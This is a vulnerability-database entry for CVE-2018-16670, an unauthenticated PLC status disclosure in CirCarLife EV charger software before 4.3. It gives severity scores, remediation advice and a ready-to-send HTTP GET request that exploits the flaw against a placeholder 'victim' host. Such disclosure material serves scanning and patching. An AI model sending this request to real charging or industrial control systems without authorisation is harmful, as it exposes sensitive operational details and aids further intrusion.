| Title | CirCarLife <4.3 - Improper Authentication |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Unauthenticated attackers can obtain sensitive PLC status information without authentication due to improper access controls, potentially revealing critical industrial control system details. |
| Remediation | Upgrade CirCarLife to version 4.3 or higher to fix the improper authentication issue. |
| CVSS Score | 5.3 |
| EPSS Score | 0.45583 |
| CVE ID | CVE-2018-16670 |
| CWE ID | CWE-287 |
| Tags | cve cve2018 scada plc iot disclosure edb circarlife circontrol vkev vuln |
CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /services/user/values.xml?var=STATUS HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16670.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-16670.pcap
N/AN/A